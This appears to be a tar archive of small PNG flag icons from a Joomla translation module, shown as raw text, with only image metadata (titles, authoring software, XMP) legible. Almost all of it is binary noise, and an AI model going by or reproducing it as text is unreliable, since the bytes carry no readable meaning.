�����;7jAڼ��29�~E�1��ɀ������7?؇/�f�
�+���?��;���sg�]=��χ׹q&�nC�:f�gr��'~w�������}�|����ʯ����M'6P��mB����������1�L��x�Q�A_s�?h¶o�S�ܙ�:>��6������m��[�+��O�L,��m�Й��`�;�u��l�>v���m/h��f��j�N�7��W�~D��AZ�.C���|�k���Oɜ�b����#����ώ&7~/k~��X�ד
�銀Wy=̊��miV�'?��w����4F��9#�՞��c��	�瓲����)C�Qc{������3���'x�vV~�v�ONSc�P���ʝ�pD��O�ײ��T��t
ɑ�*���5��^��mkWi�F5���=��}��d�L�+/��L�će�j˂v"A=j���=-��(�KJ���Q?��0��`�jW��&�)k�fS[�'K�J�^
�*i��;��|�I��l�9�],/�`�zl�=|{�����C�t��^��dyf�So}�^����綝�2���)e�H�X��
%]v�jn��	Əƣ^c��#��7������Լ�~*�Zuҿ���f�>'���ڇi���6��DuX��7#�;�6O�!;o‚�@�	�[�	x��6*=��d?a�י��c�=D�FL=S'��ض�CI������g���g��R^�y9]��A�x� ش�m����ى�-x�M��h�{�\����u����z]�<w���==�t��S�cR�������
_S��0a`� p�SuX&ߦ뜯:�7���ur�̘!g}�J��ۭD��ߊ:~{�&��g��T�m�g�1�Q�l�k��w\�����ǬQ�u���_~O>�vUZU��.�1?�w��̕��;�Q�Q�p��r[��){���o嚱)fBwlN��|�<��{��\�_N;�ֶ:���;�j}�w������2|�~o�{v�@��ɓ��v�.�_^xb���g�c��.z��g?��w�	z�����/J]�ku��>m8�K#˖֭��c�/��
�#ue<��Y?�d���>Q��
J&pO�Ң�\5�ʵ����,�WP6nw�l5����v���j��ۨd6P�!�_Q���a��i�'�D�s�)W�k���tE�*5�-�1jn���#�;3!�i�M��8�]#5�?�R���{��vF^W��t�j:��X�v�{aRmoɫ����{�w�,>�*�cmXwZL����0��߂��e.����I�dMZ.�փ�o��t�����
�2o>l;S&�ls0ӗ��"�S�L�*�5�\?�Ry��G����3��_^��_�������	�٬��
��b<�0p�u��bV=ڎ�VN�K:�vQ>�*�֡�6tO����w!��?Wl�L���J��y�
��E[�f��u΢��@˧�
���߂@�*��蝛�~��M�4�$e{��mI3/̅3��mҺۚ��ϗֺ& �j}{Qs~P4�\���#��}d�-D�.��M�Y��ôm��~��KL�������㌃��wg�w5]�����(��4�֞�n���N5�z��G�'����2�O��c^#����՞���:���‹UUZ��_�{�E?}稟gz��-�:p���8���8h[2~�۩��(��U���m�PX�ԆU*=�b3g�[�^��G�?�z3lq{�p;�wů�hOz�[1C��Ut����.���Naс"V2
�^;�wl���!{�Mw��T�3�xm_-o)(��������ͽlP~;�uhVቘܶ�us�.�Eߒ�k?��d��o}>��T�6���'�p���}����xR�Ղ{Y��s�~��qU�r�ǣ�/'4��Sz�d,a���#O���&l��NIE��%�/9[�o��B�yӌt��}�O���:�G�m:waC��s��ޝ��¿
ۇy�;�S�ˋK�i���hѝUb���G$��d�d���U_��^c�=�Q)��N�uu��c䶷�a�=›�l��=K�㘯H��ℇ�E=�����j-;�C᥶x�
Ԯ��Kk
?̊�ƃ�Z���b�|�=�1�k��P^&�GQ
����Ùq���7��u�ߤ��B��u�+_;l�c���g������[�c���7�>F�F��ü�v�1~���/�X���*��#z</������ǝ�4���׃&<�O��3�E]��5:����k�<����:�QcW�ס�0O���{0�Oi��Ë�xkք_���wE`��I�D�1<~�3�~6��7�(/�R�[�$���[�����=����'q�h���S�$��:�
���vj^�������t�78�	���66`ۓ�6?��=�$��d^ZwV��rP��h�5pY2�u���I=����3%5��Ϡ��W��e�Gn���;f�?<w�*��y���5��L`6�A�
tف��z���B�,s�ο�[�9/<��ڤ�c�{�}���A]���ؼ�S�G�$���[7��n��1����=gk�O
��U���h�o~1>kC;�U��D�1j����E��y6[>^e+rT�l�)7��S=Oj���|d�a���2�!�Ye5��Ai�i�*.v�6o�ğ=�16�/_k�=����op����*<�j����s٠Y�^P��ov�Cj����zD�_�.��I�/��A=���x��-��0OW��1�Ú�i:g��W߾a�ڇ�P@��݁���ѯW���Q�5�tu�qsL��R�a�G�Wc&�\q��y�p&m�=�ܟ^:�ל�5Fn55�����*���|m��
�u<��L�uS����@Qch�c�G�=<�EF�g�K�;�Y��b��T�ϴg{'I{����X*��P7�����&t/���mEͿ.��Æ/%H��>�"�vHk��z�'��1��wNK�����E�a�~jVrԡ�sS%}�kt�#���(,��:>pW��k�ӷnX��G��u{��S��b�O��uu�I&���̘�%��cʯ9�k�:i��l�Z��U���հ�^*�X��x�V�G�G�a���Z�5��;H�&Zv���Ƴ�Ϯ�NIj�s��oRi���O4)�p"������%���nop߮Y�grZ6-��UZn^���﬒{��w���o&���=��zD�]����{���jƌ���#^x���'�G���e3[�Mu��"pG��YjI�ԢF
_������]�j)�RsS��x�2�U�{�3y�ۯo������y�3Ɋ�Bֱ'9ι�5�V��UJ���\�ר�^nf���q���$��[����R[�[Цy?lb�X��@���w` ���|?���c��6���^v��yi�y���db��40fM:jn(�1��S���E
�'�V��տ�Q߻K���\x����MgyQ�zD��t^v�:i�Q�f���\Q��z�mu���EyoV�ub���@�}�Mc9�>�aqZ��Q��l�ҿ��3U�]h��`e��{�ݿ���|+���n��p���j����vwk�y�m���W���c����R�A=���ԃzP��Q=l�vl�ZOy�H�
"�f0j��ԃzP�A=���/�z8�l=.� pnn��
��7@�@���� pnn��
��77@���� p pn��
��
�77@����� pnn��
��7@�@���� pnn��
��
�77@���� p pn��
��
�77@�@���@$�<b��0�<��A�Q���8��ԃz^F���~̙�����vLԿ��w�0�R�Q�͠�Sk�ן��iS�uu��G=���}�'��7߹���p�G�z��=����ߴ��<bg�r�s�����Yy}��G�ݼ�i}�?�r=~}6�lv���?{w&GY��W}͑�2!!	�"D`�(r���ñx����.����(�\�Šv]�� ǂB�� �$!��d&3�w������=әf��@�{�����}��~��[o9���1]��A��� ���0��w��J��^J}�����}��J���L}��sr8��}��P�L�
�?nN��=��ϝ�D�����iD��Z�l��*p׸��L�UGWF
��8��`�'��'(�ԁ�0_KS���@��O��o�2ٴ���H�SA�>�`pU8�
�y��3=U4��E�|��(S��)��ԑ�-ig��<��w��z�*Q�{�s�l a}�5��婏r�a�WY��Z�h��~v]Xz��5IG>S�Y�[~6E�>g���d��cU�
��͸�@5�[���;���v]��S�#��eGuy�lFyץ`��}_�|V77���@{tڻ3P�䵵M��6:j�q*�s��*\�>̾#��+���=���w�,�0~ǝm��s�.UC}Jވ[��;�ɛ���m&)s�J�V��Z�{�xLR��|��r��r�F�s��%b	8{��^"ϯ��񸩏[F>�L΄�P��褵�f��-�;̴΄��hyke�;����S����+n;�xu]��Mm
�ټVm�׷��.�h�����#ݎ�aN��'��j�mJ��J*=6y{�&-�#��$K��<�I���E�z���Lu�/s����=�j45�A�(�\u�������U�N]��|&�N}ޛ��.�(=6#������%�Z���G�Sw2�dj�I�޻$������㎛��E����~j�Z[R�s;��A�B����:p��Ϊ;5v��Y`#��ۉD�����h���ޯ���E������U���:��	�rn��-�_]����_z�l�8i�����+W&�y��RW�1�;6t�3!/��C��M}te�LfK����W8z�gN��:]}����V�N����mו˲�T��.s�J�Q��x/��Eu��J�s��쾷�u絃ޯ����'��wz��'�聧�{�7�a�(�L�����u��=��{�@<�*S������_"=��ʉ囹}�_�.>��#���2
/��E3g���]�-�ח��`]w�Sji���Fw�+}�n��4�+@���7�;�t��{F�p����q��(������i1�d��_`8`�\�u�î/�E�l1p����n��w�i��=�p��a���Ɏ>��3�A�+'��lj�I�ni_�<�+��D^�0p8���9��y�ѿ�#��u*� c����G`�I��a���Ō�wX����Ϟ�O~�t�����i���X��~-��|B�'&��
�֠Y�]W�_��n۟���V�Ù9���^&����z��412ݙT߳"���5s���B��L��Ԡ��0~�_�m]��M<l�vOгu��C����4'1ٞ��bH>j���6�2y<��S����'L�-l�
Ҝ�1��5�{CO}���=ZT�n����*����b�E��N:q�>p�A����\gB�<�z�#jm6�;fe{�G�ٕe���+e[9��BƜQ,��Gh�E�SZ��y#�k��)Z\��͠�l-s�;BI,�`˰0�>�y���6O�n_;��ؒ��QrZ�L}�M}�}�������[�j��6�kZ��M�TRO=[��\z�~v�ÚԒTn���8��&��Ҋ��>U�_��&����g�x\��F�I��H{W�;��w�,����Γ����\uD�jnh�`��{�p������.W�vOA�s˳�'��jO���GL͵
|��0A�;���[ڵ�?N�qG���=\w��N�dR���MmM)�+sk�w{GF�M�<`��f4?o���]܎�NA��`��}�!��;πɬ˧�j�@6L���k��~���V��|�B͝���y��l.�>�g���2Xn�[y�/����KL9��6C�G�.%e��‘�<���9\9�����
�t�gޫ��k�H�ᄅ�r�]W�.%�jw�rʆk�L�J�ra��d�p��������ªź���߳����>������=W{M۳�o۷�%p�e[�m�,ǧ�H�Z����vԄ�gw�p��֏]��Se�õ�*��@wfZ�l��Y�>|L�;���I���N�֎�5�����]��	����/tI���H�l�����ĝ�R�~��IM�z��?��|GGp���<#��u��k��YڸmS�g;j��,��J�u����h�K��3�D4���Q����������߹��n~TGͿ!|<t�mg)�8O'_t���'ʆ�>h T���ɸ
���Ѷ����mq+�?߽݅Xu�:���SU���?��p��.�?�F�=y��Ug'�;�e�����~yX������aW�.��	zk]���"Z�"
���󨏲�a�D���/:%�~�P�}f��#����p�߽�S>y���jm�(��G�)��c����j�o`��v�ꯑ23�[��8p�A0 ��!ϸ�l����#'���=T
u
ak��=��}��Ճ?k�����l�h4f�:K����#jNGu�_���ހQ2#�cQ3�tH4�
��9��Q�>��z4
4�{BS�Դ�K�m�_�]>������ԋNֽ?|PSZӅ����0���wO��������x�\� �*f[𨏲l��h����<5�O-�t�OM��d\zzjD?z[TOO�T���ub���
��P����p�N8fo}�y��u�g"�����Н)�'�]'Un��;B��J�|��̇
c�����R�Y:�ѷ�E��̈fw��"]���Ɏ�69;Y�!룪/��?�)Ț����0l�w�o}��O���v�Z��K�
N�6p��7	��0�����a[R+��j[��{��n[*�(��꣚������_�mmG-)t/٤���ԋާ�o[�I-�����#
cw�
�Ёb(���c�ηt}ء,M�k���ub������j��3˸�'	'�]����=\w��κ�^����7���m�	���α=h��|0϶�������덨���(W�p��w�u��>��G$(��m e�㻁�b��)'���Sk��/|n���uum��]`�٣�T3l��c��-fZA�ЧB���>����n��lc�q,e��e`Y��_��>���J�/��o�E�77@���� p pn��
��
�77@����� pnn��
��7@�@���� pnn��
��
�77@���� p pn��
��
�77@�@���� pnn��
��7@�@���� p pn��
��E	�q���L�1^�g�l�@}�a� pF�齟�s[,6�?������V�*�_�>o��<a�c��~N}�M�}�r�҉{��P�k[�K���O��ֿ���{<�o���e^4u�}|oO'̌딻F�ՎD��/��#��:���1]�[�u�ׇ���ؿӕ�^\A}`\lO/xVG�?�[�w����5Z�l���Z�{�=s��ρ��{��kLk����6y���̹��x<�|�W�nxX�tC�n7`�j\/P&멣3#�*T<
�`�ѩ�kΎ�����ki�U6�\����G����o�4E��)i0���~�|��g�in2��R��מ��u������щ
��+߶���1�n�t\�6�9L�l�t�T`u�%vnO5&�O٭^��ie2Yz�޷�O�X�l�
�M���oPs@��Ʀ��
��9���S��(�d�f���2�5���
��.�q��)�6av\�����^L�Δ�>?��w��l��.����K���Z�9�C�u���������.��\��T&Nc��|�s�6���s�g2�4&qn��.���v��ۻ8&`��
������o|O�I��i�D�D"�Zy&8�[�t��MI=RӤ����<v;p�o���P����F����ս�P���8�4�mP�c�~Gїtք�`g�:��1Y_�S����g?����vv+��)w[�|��D��M��������+b��u�9���\��Jnժ5��vώ�/NE��.�P-ϓߙ��LU��������g_X��S~1�l�r/(�@��Yu��)#'VYO5��k��aٯ�С��.kl_To�e(;f݉�jM��&)n��~��Q�?E�����o��\�»+Z~mm�f�ޤ���Ng�kr�<�P�:�'�[��f3s��A;�̮�ڿ9:|�y�i)+�3|���2���ɻ���Y%�Cw�	������Mg�|�Z�k�׷m����-3	!�CDi9~\�]J0>�{�������#&I�A�m�Շ?�>�]���܁�/v��)ym����ϭ���K]�_���k4{F�^}�S���_�޶W�>7}�~�Iz��N�&اӴp�e³ߕT0��p��:��N҄�NT�]��r���>�wN��+lqj:�\%,���]���
l�v<�ߒ�]>p�&p�κv�;�H��q����S�����g��ߝ�j1��g���J~����[�Ea���ͷ\�c�MZ��;u�=�d�>��@�LZ�Z��~���y��s>��{h�Һ��B�>l�V}y�6��L֣����V�ک��o�K�;�n(��C�U���~w�	��֞�C�ـ�N����p�IJ��ae�{F�ǼK��v+��NU�W�;S�)��u��L(��� \�c�'7O��=���i�=��Nx�W�<,ʜ�Y�Z�Tv99� ���ڰa{��Ġz7���ـ��"V��|�!=�R���r�V�\���$2eG)��ϻ����Z���ǯ�_�g/W�?�W���S���M/��n����m�G`-{�M�Wl2���/a�v��
��-ۥ$?8ۖ�������	5����Q�I��m�n���N���y��$j̼(��_�{i������s��F��
ܞ�R^�A�d�%�3s����0!{�Y�Z�l��	嗕s#�E"<ƅ�׮���1��u�Ӝ�n0����+�癧^ՙ�wَl�DB9s��m�������^���|�U.k>S,��U'<��d8�� &p{v��
�ϩ�#U{��ah����?�z��\6l
Z�3~GG8<� 񸢍��{���^0i��\E�8�yڷ��т�E���=o0N�s"�ݝA7�d�o{{!��p��vۊwWQ57����mK������v�G����w(>k����rR��[ۚ]<��ޢ �[��*w͚�_"4�QQ�RR>P��q�	���w���/���Ţ���}��6y[�e��3.:�O���>��F���d߫����������"��8N�;7�F�v)	Y��>���>K���V�N"!��.��[���®��r�j�wnWtb��̙
�0���[��.�+(�2�3���XT˗��_=Wv9?��Y�|�-�w�e�Ο?'�y7�=�wz��m5�S��#`n�h�|8��F�q��O:Q��xy��Is�qlPxQ�
Y����ƣ	���O����+�z�R.Pd„+���QJʱ-w�m��n�b]��?��O.>�05N(t߱cx��gt�M�ɏG�K.5Ģ�[\4�q�}�;NH�d����8�0b��&nCp��x�"
�z�±�}����N]�	ב0`�[����Ej���kG"��Ԅ��<���Nߋ$��a����@S���H�����~�Q]��e:쀩���,ۤ�+_���~�a�c��si��x�>
�����T�)yJZ����
��pc`�؎��B�6o��vh�I�;�B�~��y$�s\2���❾�n7Z�(j���'�\���9Жu[�3�
��rUY&�Cҧ�e��A�F���Wcc���3I/��U������n@�i��5��G��X�›��R}m\����J
����~����_�h�W�T>��)z����;d���k���a�~��Jٱ����&U�o���r�s�:��P6P�^�;A��������Uϯf�"�������zicR�ڰ�GP���w_#ཙN�
w��3 ��g�����U[�UThَ�n ���
���*=�\��:
~�@����0v!����
܎kGq�uì��
��g�v����n,�}�;;�6�PO�����
�t�9�74
��q;���^n�������ڨ���0���?{��j�x�Y3u��W�Z�>��}��7�n��
��
�77@���� p pn��
��
�7E�77@���� p pn��
��
�77@����� pnn��
��7@�@���� pnn��
��
�77@���� p pn��
��
�77@�@�*�8N�?��;~y���4� pou����U����}�2��p����1!�z��gԲ����/����]v�ş��h@%� (�7S�8N�<Ԙ):ƫ�̔5��Z�W{^�/�X��BMz >S�����շ_vɧ��?�����+n��l↳���D�����/\U�2?��+XqD���V�}h���ۿq��w-�}͗�?9��D��q���ɉ�W~��O���������[�X�m�/G����y���0n�(�7�f'��c�����+Z`%�ʽ�R�n3q`�W#e��ۦ��h�O�����y�i�iW���o]v�7��F�H�70^�Wfw����8
�Ė�ޚ�oI��@�FUj�3	8'{gohψ}[D۳�G��G'��>k��w9��&��0P�P�%NFry�>�Sf��rjk�ܕ�dzK�<����[��f���5�����W�L���@y/P*㚽OqS��8�?����'(���ف�����|�Wܨ��+Hg[U�� ��5H���6�v�ՠO�lɹ�y�B��ͺ�Lj��a�	ڵ���G��>�����f}}zD�[���	{�٫~yߔ��/_��_Z%Z����m�6�{q�R�*qZ�/J0���gܼ/�g�@�F�ϕ�I��Uw�>���_]��FԞ唕�)��)���;/�c������=�����w*��U3�]��uj�e�^���>��E-�O��5?�^���o��$��*�|���N;cBML~(�۹��hԗ�9 p�Z�� �R�.��s~����P��g9eߏE�{.�^F.��ۺM��/��[_�MzR$>6]{����z�_\�۪�.�"-K�n�}�Wm�z�ǿr����+/��
#+��lټ��N�J6��6슲=�۹�qh�@��(�<�����Aj��p@�~��l�pw'�I�6��(�2�97�v���#r_Y��/]�����}U�o3����?Pm���Fݓ�s�_m�7���4�����eKDk7v��m7�l'^�AKfNm��X��k��g��\"���j`yׄ�n�B˴�9'��� � ��P����;�z}�������d����/��⿗�H���|E�S��F�����:!�F�v�=��Y'|�қo�����뻒�,v�9�Oe����RvX��f4)�zzp�ε����G�@�F�l��$�3aWw���_�θ�DZ�������WlQ
��#;���}=��ɞ�]�"&���Z�˲�
<!�f3z,6C���Њ�3��N�xEWl�=�㧞8������h&�l�ۺ��`G�a�6U<�g�5�i��4!�7��^�;���hD�	ᙜ���N�6�@�r�����v���7�'��
rjs
��Ϯ�����0���eܠ䰁΀�V�\w1�;�k/�������(�����t�V(ߕ�/&�����
_"@ۊ������̴V��3n���m[�]勁��ɿ
�g=[sg��JF�o� }�is{_[��C���j��r�+�^�>�����z����t'�
�nGɐj����L��i���b��0��9{�?_����m��1_�ʿޡ'&��9����������fJ��k�Bnw��ɥu�/�{�Cg;{�6~���j=�k��"���������f��&a��t�3/wCD�G#j����W���ut=C<�hc#�^�b��0A��5�I�z]�D��3��a�{�[��G�x�n��3f_TI��O��-������Y�ū�U�>;J���
�'����^4YA�W�&��U⠜⳽b��á�
9�W��_z����X��;ޮ��}�r��c␃���
��̍�hB�ԇ=�3'�m����ol��J���e��*��]��(%ܨV`ï�0���H���BG��ͩf?�O�.�߮d�����c��'p�;D5'��n�o���1~����v\��U:m��n���A�BH���dz�{���o��R���eaW���Q��Ë!|77F#p��S�*����y�}D�Z�U4�m��l0�3Jɰ���h�%��Z㕗.J-�O�+t
�o!=#�Tr���	�t�B=�|��\ڦ����xD�w���!\'��@�F�\�æ_5G�4ᴜ���=.�f��/�*U2���S�Cqa�
��A
�_R��+��ȴ��_hB��^[J��[#p�yW�:m�����i�����oN�;�|>�x9������O(�DT�Rv����v��`'��79�9hҥd�:��V�w�_�=������k���t�k�	���	�����6nMj{*7���ړ-î��7�w����nԺ�d��;5�)� ���)ܪ��{����a7��zu]s]��:��:|]��aʾ�/��6�L�Ʈ��_ۜ�`W;�u��p p���7��5o$�.�����{�y�W���3��ß�Gw����;}�
w�j{�Ѝ]w�y�Q��b��Q��jc��9�U��[,�ŕ�~�����e�~���{�B7v��?ֻ���O�{��PPܑ��!立U�ۆ[N�ɭ�+*˞�7[�Rs>7l랉#��]�K6F���6tss�:y��qM����[��� p�:�
��;;���s�;HU��bܦ#w�y�n�O��Mn�tB7v����Nչ��f�0N8A@�曪Bǎ/go_8y�W��L����Z�W{sĕ�߈e?�׫MywS�`�
�c{�1�f��Ug��e�Yj�_}L3��i�(.��eh������F)���+n�(j�C��jGy�3u��/C)@�0BO�77@���� p pn��
��
�77@��@���� p pn��
��
�77@���� p pnn��
��7@�@���� pnn��
��77@���� p pn��
��
�77@����� pnn��
��7@�@���� pnn��
��
�77@���� p pn��
��
��mrβ[3:�IEND�B`�mod_gtranslate/tmpl/lang/48/co.png000060400000003005150746170550013012 0ustar00�PNG


IHDR00W��sRGB���gAMA���a	pHYs_��tEXtTitleFrance - Corsica+U�PtEXtAuthorPatricia Fidi3M�9tEXtSoftwarepaint.net 4.0.12Ck�3IDAThC�X�KU_�pN�@Q���?�
*8��T����ЈRA%)5�L�!�J�	+HM%İ�e�9�~k{_9����^?�����;w�s��{�gBD��Ш%
�Z�Ш%
�Z�Ш%
�Z�Ш%�C�0���ϟ���r��a������N!!!dmmM������H�N�����SSSMNN*O���}��677�z���7o�PXXYYY��&z���N9994;;���7FFF�����ܹ�X��`������ tV---)66V��ӧOTYYI.\���b�}����ׇ�`��jx��z�����RZZ��ձ�^�xA


TZZ��I?�����$��j���L555t��E�����^��a!������CZ���6ݸqC�#z��-%$$�����Q}��󣖖�ď?���q���������������ݻ�B��?����!�����9+���)������ �~��>�L_�~��j -�ڵk��ݭ���W�(##�3Ӊ'�N��Ç����3�����fe��!-��͛T__O�������ۅ�9N�9sF踎������S�ߡ��@���K�.�O�>�ˎ8�,���)OMOO����N����&
/l\:0������u�=z�"##)??�����?���N��/_���"�k�
��ylbl`�$�����@Z����9ݾ}�\\\~9bS"d���9���Pbb"�2MTTEDD𳁁�����,�YHRFGGy��,f���{������͍Ξ=�b&Ϟ=c'1�YYY\Kp���G�޽��}@J��s�~9x��q:v���w��̌�-((�����Q�UKII���*,,�M�~��0<<�}�n'���ˋ���)99��w����"�l�
o(T���;�>����,�V��ɓ���K�u��>f�ɓ'411��M=TX\\�,��u>����<&����%����hnnN�S�=��(rH��y��G���|����]R�߿/tH����ʈ;@��j �޽{W�������^���:%C{{{���RF����^����D���l7P�БꪲZH�q�X�,�#-//s��T���}!�V���S�Z:99q%G��l��fe9@Z�~����2*//��8z������?6/�����+U����{�i����@��������U#w�h�ş�
��j0��88O_�r�zzz�o�`T���]RR����a��?!̾�0���Y
3���HGˀ������R��0��lPq�&d���?�4M�QK�D�QK�D�QK�D�Q;$��H���M�'IEND�B`�mod_gtranslate/tmpl/lang/48/tl.png000060400000003034150746170550013032 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��YlTU��.3���pED��@Ԁ$�ƨ!�q���1�P ��C"A�H��&�v�"V!l�mR(��	Zh�t�2�=LJ{��v1P���^��s��mw�R��,�\&L������x@^uuC�=����?8Z;��KK�S\\ĉ���}�1敯�m�77*���ݼ�����n����@�h
�M�p�O)�u��K�:�!@)((� �p�G��@�8��ϱf�R>ϙ3�h��a��4�G�E�z�}���@0;nN��e�(���# ��\:+V,�������)SC(�`�s�*���S&9{DO>����L�
YDK �V�D��������+]]�c�/B�����	�Ge޼��[�4{����r
]w�ic@����KY�38PGuu�&�u=��,92.��ʕ�QX�CU��H�02�4�� *˖3yr�:IWg�te@��,�.�>�lZ����";v���Ԏi���mIr�����
Cf�b�D�� �h��w���ؾ}9��?PSS�8��k�tm*���$0���Q:�@�8s999.6o.����ݻO
p3�Ē�xB���U,������>��u��7���2X���M�*�W?δi�����߇�5�~�������j��
A�;�G����̥���e��?��qS
���\�ѧ�&��gN�B �r�s������:�F�T/�mʿA^b�YTT<O��9x�
|��4D�B r��K�:�6	��A���,л\X�p����@ ȡ��SJΔ
T0|i_C�uS&�&QH�C�6��H���)�`>a[J^qB�T ������S��_�I�BJ)��eBm����P�m�m0cQb���m&���_��pc3›3��,��l���~�΂�#[�[;���m�����U	���=�*�~?"7{�F�N��#�$6,T�(�a�	�,Ц�lu=F-)��^Io�n�i <���4
C�8]�$/��%�H:"��A��$�e;�(���½��@��{�V���!7�i U��5�x�{��LVZ @d��GA��� Z���Hc7�|��<���8�B����`>���֑t�ߊ��Dxs���"�J	��'�?�g�N��D�gB�Y j�@�����~Z��dA�;2�Hl)�`��rsm���l�ǧÌ�B:y@�Q(�2-����xv%��u��<�\�r��<��j��d��]{�Z�:V�
DncM)��0Q�T���ڏ� ܮ�\��a�=���K�k�:u:��(B�¨*$��u��m��ڎ6m��nV���x�d0��������-�p/����%@���4��u<I���O�0 ���Eih%�ѱIEND�B`�mod_gtranslate/tmpl/lang/48/ca.png000060400000001335150746170550013000 0ustar00�PNG


IHDR00W��tEXtSoftwareAdobe ImageReadyq�e<IDATx���n�@�g�vl%��J�p�8��8���7�k�����#w���%mӍ��afmǛHM�hGx��-{c����ٵBD�l�[����<"O�$�䳘~6�/�o?�p�6@�B�z�7�*}���;���J�Ap]ux:^�Ni�Ǎ�4���x,��x�Į����s։�_��;#Ȟ��~'2�NJ�y��u�E�]�y�6�8�1@)�����6��0[{9�M�PH�P���5�y
����ҼH!�a餂�`.�4C'(�l"��Џ�h2*Ќ��(�hHr�PdD@y�6F-M��q����A於Q'-��4؟�A�	����xҤWvK�C7a��
�޺[╴��˝��VJ_p=p�{��o/G�
],e���f�r5�U���Y��,�:�C��+-h���}
�M�]jG:Y�`�D��BH�P8
�n�v
Y�;T�xE9s�g*3s-���ǿ1ܞ���J o��S9sA����|�hXr�TƊr8�#��~T�NK���hn�����bX�of0�Q�}"C��i�x���$BB@���;����H����0�?ȿ0����$��C���z��Z�N.mĦ��IEND�B`�mod_gtranslate/tmpl/lang/48/sn.png000060400000003322150746170550013033 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FXIDATx��l�W�?�?n��R
�!P�F�:�Πh�%�֘���u"@��`���5�hbj�8���\ ���Q��G�\&\�����"���߾�{��r{o�-LS��>ɛ{�{���{��y�J)�3I�9���@���N�Y�?~y˶�I�Y���n� x��Z,TJ�-�����5�v��&���߿p��lZ����P���V8@�#�iDL 
UԮD�|��J<!�\�ыBZZZX���/�x��� r��R!A��;�ǵ��v�ӣ�2)�UE<����߮�:]:�D"��={0�i�����ɳ���ʼ/���e��/+��Dp�Ҋ�r��!���V‚[��_�8D�.�����[��ع��4!ʽ�H�d�ù :�	Q:M�uyi�˘��V�x���BT�s��RY�t���m��y��̚�U��1ɥD�`2�4y�c�$.��Pa��䠇TO޻�FoldŊ�hjZDǓ[yв�K�����_c���<�T�����c�ϓ=~?�ŋd�a��F�-������8u��VÏ��3)��pcN�d��8��	XZW~�����H_C�\���3Z�Φ�%H"��My���Ԅlt��mģU��8s�9�U�Ar�	B���6��+I)Y�w~����b��+|��9�p��(4��M��Q�?�%�
�	ͷ@	�)������D럍�qP����e�'ض���8��f]u��	D!<�L�����F�&���Ю]؆b�;P���eLv��b�Nf����	�ZI���"r�4;w�f���dm{b#��݉���'���;O�1
\�m04�M�>�K�J|s��bKY�;Ɠ��D"�	`�H�|*�@:/z����e����5�$��P_�t�D"�/_N2��uuu�={vl*a��u�G�)�,�ޜ�I���"P�VQ�_Ϝa�5���	��QQ�8��p]�K"������&-ln��jqY����&�[7a+]��Y��J��'$J(�d-���`~]/3�t��6��^�755��'΁u���…���x�(z�"T�Q퓠�m��pE�|� �X8��6�|��jks��ʩN��4_Q�Ϊ�6�q�B_I�!\��K4p�Ν�~�A�{�_�-���B�4d1?܍;0��WO��l{j#]��g}>p�|�[�pi�RZՍi�7v�@�8va#�,�a9�D&�vVeZ�
��?��޽<m�0[��%�V�–��*�V����i,�D��рV_]�É>Y����qm��[��bS�p�ݍ�[0�|�Fh�����'��ےO-р��kn9�ZWRA����@�,M{{���"G4̻��#���#�[H�����$��̈́<�x۠a^����\ׄ^}�U��ְms��fc���@9
�R)֭}���{��{��M�����Y��^�#��
ޝZ���d<�r,��/lg�?��� �p6`3�(`8}��h�F�����Ι�����3���8���|c�����[IX�2��C��'�9L/�7�g1r?��L#�q1sS?`��I����;|��@IEND�B`�mod_gtranslate/tmpl/lang/48/my.png000060400000004547150746170550013052 0ustar00�PNG


IHDR00W��tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="adobe:docid:photoshop:442da6bd-f63b-11db-9cd5-e3aa83cfa3b3" xmpMM:DocumentID="xmp.did:A2B4D2EA918111E093979AD66940A269" xmpMM:InstanceID="xmp.iid:A2B4D2E9918111E093979AD66940A269" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D2CDDED3B590E0118994FE9D01F34E2B" stRef:documentID="adobe:docid:photoshop:442da6bd-f63b-11db-9cd5-e3aa83cfa3b3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>ЂvuIDATx��Y]hU����v�l�J4H"�֘j��<)򢠈�V-�̃X�C��@Z�S%��i$hQ��TScM
R��!��f����ܙ���f7�;]�����M����s�a�s�r�P�m���;F"��쾖�N������.֢��]'���l������W��c҇Nѣ�Y��28�Y&��$�X����-�:��:���:)h�T�x�z�9^� (�8��:SsH���A��i�,���r��XT��s�|2x��ˋ�;� ���`��ܐ�V�~M�Jgb @x e�(����Xc��D7�t*C����󛑲� �B	�duk��P�Q��ߥc�l
)�b��"���^&Y�H��^���\p�>u�Q����NH�Ҙ���|fT˻r6��څFo�z��ZG��*�}��ڏ�1�߃�Vo��K<�u�+c}�XL��,:�I��SF����V@��v4;�c��؁Td�!�����2��@#J%Jf!����$�^�j�Tw5�W�%��^����\�J]2]�ê�ZS�,�rj\���Q34�y밷s/�Z�*bmoS/FF������㹏�Sr��Y�Y��f����n�e)re��s�m�ӟB[uV�s˿��/G0�4��3,ƶ�-��h��j��}���@�A4�\+��cx��(�K~$��u(P���ה�u�Sz�(��]�Lt/�����2J-$���o`��	�=~�$_q
Tf�.�R���C�������9�t�a�u���=&�'1��0�:��4�Q�B�4����S@XN�'�)Qy�sx����ك&�Crn�
h�B�A���5����r}G���ۂ�f�ĵ����P&	k�:z��*9qk�
=M�_�\�κ����@�徃��~ya%�;Y��A�ޞ3��v?^=|	z$J{+<E�*Kh�x�d�!{���/ ��>D�G��S9�:o�s}�	�z(�RP��F	�V��3��Y��8�o���0-;����c��~��䥖z��݁���`�`�;
